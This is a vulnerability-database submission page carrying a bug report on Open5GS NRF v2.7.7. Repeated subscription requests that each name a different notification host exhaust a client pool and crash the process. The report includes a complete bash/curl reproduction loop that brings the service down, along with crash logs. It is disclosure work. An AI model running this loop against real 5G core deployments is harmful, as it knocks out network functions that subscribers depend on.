제출 #808516: Open5gs NRF v2.7.7 Denial of Service정보

제목Open5gs NRF v2.7.7 Denial of Service
설명### Open5GS Release, Revision, or Tag v2.7.7 ### Steps to reproduce ### Description NRF aborts when repeated valid `POST /nnrf-nfm/v1/subscriptions` requests use distinct `nfStatusNotificationUri` hosts and exhaust the fixed `client_pool`. The subscription creation path accepts the request body, allocates `subscription_data`, parses the notification URI, and then does: ```c client = ogs_sbi_client_find(scheme, fqdn, fqdn_port, addr, addr6); if (!client) { client = ogs_sbi_client_add(scheme, fqdn, fqdn_port, addr, addr6); ogs_assert(client); } ``` `ogs_sbi_client_add()` returns `NULL` when `client_pool` is exhausted: ```c ogs_pool_alloc(&client_pool, &client); if (!client) { ogs_error("No memory in client_pool"); return NULL; } ``` Pool sizing makes this reachable before the already-known subscription pool exhaustion case: ```c ogs_app()->pool.nf = global_conf.max.peer; ogs_app()->pool.subscription = ogs_app()->pool.nf * 16; ``` With default settings, `client_pool` is only `64`, while `subscription_data_pool` is `1024`. An attacker can therefore crash NRF much earlier simply by varying the notification host across otherwise valid subscription requests. ### Root cause - Entry route: `POST /nnrf-nfm/v1/subscriptions` - Exact crash site: `../src/nrf/nnrf-handler.c:603` - Helper failure: `../lib/sbi/client.c:115-118` - Pool sizing: `../lib/app/ogs-config.c:79-84` - Root cause family: resource exhaustion leading to assertion abort - Controlling factor: number of distinct notification endpoints that require fresh SBI clients ### Steps to reproduce 1. Resolve the current NRF container IP and reset the container: ```bash NRF_IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' nrf) docker restart nrf >/dev/null sleep 2 echo "$NRF_IP" ``` 2. Control case: same route and same body shape, but reuse a single notification host for 70 requests. This should not crash NRF. ```bash i=0 ok=0 while [ $i -lt 70 ]; do i=$((i+1)) code=$(curl --http2-prior-knowledge -sS -o /dev/null -w '%{http_code}' -m 5 \ -X POST "http://$NRF_IP/nnrf-nfm/v1/subscriptions" \ -H 'content-type: application/json' \ --data '{"nfStatusNotificationUri":"http://notify-control.example.org:9999/cb","reqNfType":"AMF","subscrCond":{"nfType":"UDM"}}') || { echo "fail_at=$i curl_error" break } [ "$code" = "201" ] || { echo "fail_at=$i http_code=$code" break } ok=$i done echo "ok=$ok" docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.RestartCount}}' nrf ``` 3. Malicious case: restart NRF, then vary only the notification host so each request forces a fresh SBI client allocation. ```bash docker restart nrf >/dev/null sleep 2 start_ts=$(date -u +%Y-%m-%dT%H:%M:%SZ) i=0 ok=0 while [ $i -lt 100 ]; do i=$((i+1)) host=$(printf 'notify-%03d.example.org' "$i") payload=$(printf \ '{"nfStatusNotificationUri":"http://%s:9999/cb","reqNfType":"AMF","subscrCond":{"nfType":"UDM"}}' \ "$host") code=$(curl --http2-prior-knowledge -sS -o /dev/null -w '%{http_code}' -m 5 \ -X POST "http://$NRF_IP/nnrf-nfm/v1/subscriptions" \ -H 'content-type: application/json' \ --data "$payload") || { echo "fail_at=$i curl_error" break } [ "$code" = "201" ] || { echo "fail_at=$i http_code=$code" break } ok=$i done echo "ok=$ok" docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}} {{.RestartCount}}' nrf docker logs --since "$start_ts" nrf 2>&1 | tail -n 12 ``` ### Logs ```shell Control run: ok=70 running 0 0 Malicious run: curl: (92) HTTP/2 stream 1 was not closed cleanly before end of the underlying stream fail_at=65 curl_error ok=64 Container state after the crash: exited 139 2026-04-12T06:13:46.384859466Z 0 NRF logs: 04/12 06:13:46.262: [nrf] INFO: Setup NF EndPoint(fqdn) [notify-064.example.org:9999] (../src/nrf/nnrf-handler.c:605) 04/12 06:13:46.262: [nrf] INFO: [c3949bf2-3636-41f1-9eed-dfb664711a2e] Subscription created until 2026-04-13T06:13:46.262674+00:00 [duration:86400000000,validity:86400.000000] (../src/nrf/nnrf-handler.c:633) 04/12 06:13:46.267: [sbi] ERROR: No memory in client_pool (../lib/sbi/client.c:117) 04/12 06:13:46.267: [nrf] FATAL: nrf_nnrf_handle_nf_status_subscribe: Assertion `client' failed. (../src/nrf/nnrf-handler.c:603) 04/12 06:13:46.267: [core] FATAL: backtrace() returned 8 addresses (../lib/core/ogs-abort.c:37) ``` ### Expected behaviour NRF should reject excessive unique notification endpoints with a normal HTTP error such as `429`, `503`, or `507`, and remain running. ### Observed Behaviour The `65`th valid subscription request with a fresh notification host exhausts `client_pool` and terminates the NRF process with exit code `139`. ### eNodeB/gNodeB Not required. ### UE Models and versions Not required.
원천⚠️ https://github.com/open5gs/open5gs/issues/4464
사용자
 LinJu (UID 97503)
제출2026. 04. 20. PM 09:55 (1 월 ago)
모더레이션2026. 05. 16. PM 12:09 (26 days later)
상태수락
VulDB 항목364320 [Open5GS 까지 2.7.7 NRF /lib/sbi/client.c ogs_sbi_client_add client_pool 서비스 거부]
포인트들20

Might our Artificial Intelligence support you?

Check our Alexa App!